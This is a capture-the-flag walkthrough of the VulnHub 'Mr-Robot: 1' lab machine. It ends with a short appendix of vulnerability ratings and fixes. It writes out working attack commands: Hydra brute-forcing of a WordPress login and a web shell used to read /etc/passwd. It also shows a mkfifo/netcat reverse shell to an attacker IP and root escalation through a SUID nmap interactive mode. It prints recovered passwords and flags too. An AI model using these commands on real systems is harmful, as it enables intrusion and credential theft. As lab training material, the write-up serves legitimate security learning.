Mr-Robot: 1 ~ VulnHub - Walkthrough

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Objective

Find three hidden flags. Acquire 'root' access

Source: [VulnHub.com]

Status: [Completed]

Methodology

Discovery

root@kali:~# nmap -O -sT -sV -p- -T5 192.168.56.108

Starting Nmap 7.60 ( https://nmap.org ) at 2018-05-14 22:45 EDT
Nmap scan report for 192.168.56.108
Host is up (0.0011s latency).
Not shown: 65532 filtered ports
PORT    STATE  SERVICE  VERSION
22/tcp  closed ssh
80/tcp  open   http     Apache httpd
443/tcp open   ssl/http Apache httpd
MAC Address: 08:00:27:B4:E3:34 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.10 - 4.8
...

Entry Point #1 - Port 80 (HTTP)

Enumeration

root@kali:~ # nikto -h 192.168.56.108
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.56.108
+ Target Hostname:    192.168.56.108
+ Target Port:        80
+ Start Time:         2018-05-13 15:46:30 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ Retrieved x-powered-by header: PHP/5.5.29
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Server leaks inodes via ETags, header found with file /robots.txt, fields: 0x29 0x52467010ef8ad 
+ Uncommon header 'tcn' found, with contents: list
+ Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily brute force file names. See http://www.wisec.it/sectou.php?id=4698ebdc59d15. The following alternatives for 'index' were found: index.html, index.php
+ OSVDB-3092: /admin/: This might be interesting...
+ OSVDB-3092: /readme: This might be interesting...
+ Uncommon header 'link' found, with contents: <http://192.168.56.108/?p=23>; rel=shortlink
+ OSVDB-5089: /admin/system.php3?cmd=cat%20/etc/passwd: DotBr 0.1 allows remote command execution.
+ OSVDB-5090: /admin/exec.php3?cmd=cat%20/etc/passwd: DotBr 0.1 allows remote command execution.
+ /wp-links-opml.php: This WordPress script reveals the installed version.
+ OSVDB-3092: /license.txt: License file found may identify site software.
+ /admin/index.html: Admin login page/section found.
+ Cookie wordpress_test_cookie created without the httponly flag
+ /wp-login/: Admin login page/section found.
+ /wordpress/: A Wordpress installation was found.
+ /wp-admin/wp-login.php: Wordpress login found
+ /blog/wp-login.php: Wordpress login found
+ /wp-login.php: Wordpress login found
+ 7536 requests: 1 error(s) and 20 item(s) reported on remote host
+ End Time:           2018-05-13 15:50:06 (GMT-4) (216 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Two things pop up - a possible WP installation and robots. txt.

Manually trying default some standard credentials at '/wp-login.php' didn't bring any success so let's take a look around 

root@kali:~# curl http://192.168.56.108/robots.txt
User-agent: *
fsocity.dic
key-1-of-3.txt
  • Key 1: 073403c8a58a1f80d943455fb30724b9

Now, what else do we have here? list of users? passwords? 

root@kali:~# wget http://192.168.56.108/fsocity.dic
--2018-05-13 15:53:47--  http://192.168.56.108/fsocity.dic
Connecting to 192.168.56.108:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 7245381 (6.9M) [text/x-c]
Saving to: ‘fsocity.dic’
....
root@kali:~ # wc -l fsocity.dic 
858160 fsocity.dic
root@kali:~# sort -u fsocity.dic > fsocity.dic.sorted
root@kali:~# wc -l fsocity.dic.sorted 
11451 fsocity.dic.sorted
root@kali:~# head -15 fsocity.dic
true
false
wikia
from
the
now
Wikia
extensions
scss
window
http
var
page
Robot
Elliot

Alright! We have good stuff! Let's now put it to use. First let's check if any of those can be used to log in to the WordPress admin console.

I'm going to utilize Hydra which is a threaded login cracker, to check these these against our target.

First we need the query string passed to the server after "Submit" is pressed on the log in form. Loade /wp-admin in the browser, fired up my ZAP in intercept mode, provided junk credentials asdf, zxcv, hit Submit. According to what was intercepted by ZAP, our query string looks like this: 

/wp-login.php?log=asdf&pwd=zxcv&wp-submit=Log In&testcookie=1

Now use Hydra to iterate through the fsocity.dic.sorted building username/pass combinations, passing it to the query string above. 

root@kali:~# hydra -u -L fsocity.dic.sorted -P fsocity.dic.sorted 192.168.56.103 -V http-form-post '/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log In&testcookie=1:S=incorrect'

Note the S=incorrect - this is where we tell Hydra to continue because the username/password combination was incorrect - the target returned incorrect as part of the response.

Depending on the size of the dictionary, this may take from a few minutes to a couple of hours. You also have an option to pause the scan and pick up where you left off later.

After about 35 mins I got a set of valid creds. The Login part turned out to be an obvious choice and if I tried that one manually before kicking off Hydra I would've saved myself quite some time (if either username or pass is known you can pass it to hydra via -l or -p respectively)

  • login: elliot password: ER28-0652

Exploitation

Setting up the stage 

root@kali:# curl -G "http://192.168.56.107/wp-content/plugins/shell1/shell.php" --data-urlencode "cmd=cat /etc/passwd" |head -5
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync

Looks good - we can execute remote commands.

Gaining shell access

Term 1: Start nc in listening mode 

root@kali:~# nc -vvvlt -p 4444
listening on [any] 4444 ...

Term 2: Execute remote shell command 

root@kali:~# curl -G "http://192.168.56.108/wp-content/plugins/shell/shell.php" --data-urlencode "cmd=rm -f /tmp/backpipe; mkfifo /tmp/backpipe; cat /tmp/backpipe | /bin/sh -i 2>&1|nc 192.168.56.200 4444 >/tmp/backpipe"

Term 1: Acknowledge reverse shell connection and spawn new tty so we can interact with it properly 

root@kali:~ # nc -vvvlt -p 4444
listening on [any] 4444 ...
connect to [192.168.56.200] from robot [192.168.56.108] 49714
/bin/sh: 0: can't access tty; job control turned off
$ python -c 'import pty; pty.spawn("/bin/bash")'

daemon@linux:/var/www $

Now let's she what we got?!

Taking over the host 

daemon@linux:/var/www $ ls /home
robot
...
daemon@linux:/home/robot$ ls -arlth
ls -arlth
total 16K
drwxr-xr-x 3 root  root  4.0K Nov 13  2015 ..
drwxr-xr-x 2 root  root  4.0K Nov 13  2015 .
-r-------- 1 robot robot   33 Nov 13  2015 key-2-of-3.txt
-rw-r--r-- 1 robot robot   39 Nov 13  2015 password.raw-md5

daemon@linux:/home/robot$ cat password.raw-md5
robot:c3fcd3d76192e4007dfb496cca67e13b

My initial plan was to crack the pass with john so I kicked it off 

root@kali:~ # john --format=raw-MD5 robot.pwd

While that was taking it's sweet time I googled the md5 hash from the file and guess what - a match.

  • abcdefghijklmnopqrstuvwxyz
$ su robot
su robot
Password: abcdefghijklmnopqrstuvwxyz

robot@linux:~$

robot@linux:~$ cat key-2*
cat key-2*
822c73956184f694993bede3eb39f959
  • Key #2 - 822c73956184f694993bede3eb39f959

It's all nice but we need root!

After an hour of poking around looking for hidden, encrypted, scrambled, etc files which may hold the pass, even checked the database - nothing. It's time to do get the work done ourselves. Let's start by looking for SUID executables. 

bash-4.3$ find / -perm -4000 -print 2>/dev/null
find / -perm -4000 -print 2>/dev/null
/bin/ping
/bin/umount
/bin/mount
/bin/ping6
/bin/su
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/sudo
/usr/local/bin/nmap
/usr/lib/openssh/ssh-keysign
/usr/lib/eject/dmcrypt-get-device
/usr/lib/vmware-tools/bin32/vmware-user-suid-wrapper
/usr/lib/vmware-tools/bin64/vmware-user-suid-wrapper
/usr/lib/pt_chown

That /usr/local/bin/nmap looks interesting - /usr/local is where custom, user-owned, often manually-compiled software is usually installed and chances are it is not up-to-date.

Old versions of nmap provided interactive mode which allowed executing external commands. Since binary has SUID set, any command executed as sub-process will inherit the executing permissions (in simple words - will be executed as root, too) - for more see SUID / GUID Primer 

bash-4.3$ /usr/local/bin/nmap --interactive

Starting nmap V. 3.81 ( http://www.insecure.org/nmap/ )
Welcome to Interactive Mode -- press h <enter> for help

Ok! Looks promising! 

nmap> !sh
# id
uid=1002(robot) gid=1002(robot) euid=0(root) groups=0(root),1002(robot)
# pwd
/root

We have root!

Let's last key and wrap it up 

# cat key*
04787ddef27c3dee1ee161b21670b4e4
  • Key 3: 04787ddef27c3dee1ee161b21670b4e4

Final Notes

This was my first CTF VM to root (took me a while to finally document it properly). What surprised me back then was how much can be done with just a few simple tools like curl and nmap.

Appendix A: Vulnerability Detail and Mitigation

Insufficiently Protected User Credentials
Rating High
Description A copy of md5-hashed password was found inside a file stored under /home/robot
Impact Taking over an account would allow perpetrator to access all privileges and functions granted to that account, including but not limited to access accessing restricted data and processes, running restricted programs, elevated access through sudo roles.
Remediation Put policies in place educating users about dangers of storing credentials in unprotected files. Establish a process to perform periodic system scans to detect such data.
Unpatched Software Components
Rating High
Description nmap V3.81 was found installed on the host. nmap versions prior to 5.35DC1 support interactive mode which allows executing remote commands. Since nmap has SUID bit set, such commands will be executed as root.
Impact Allowing an unprivileged account to get a root shell.
Remediation Ensure all of the software installed on a host is up to date. Put a process in place to perform periodic system scans to detect outdated software.
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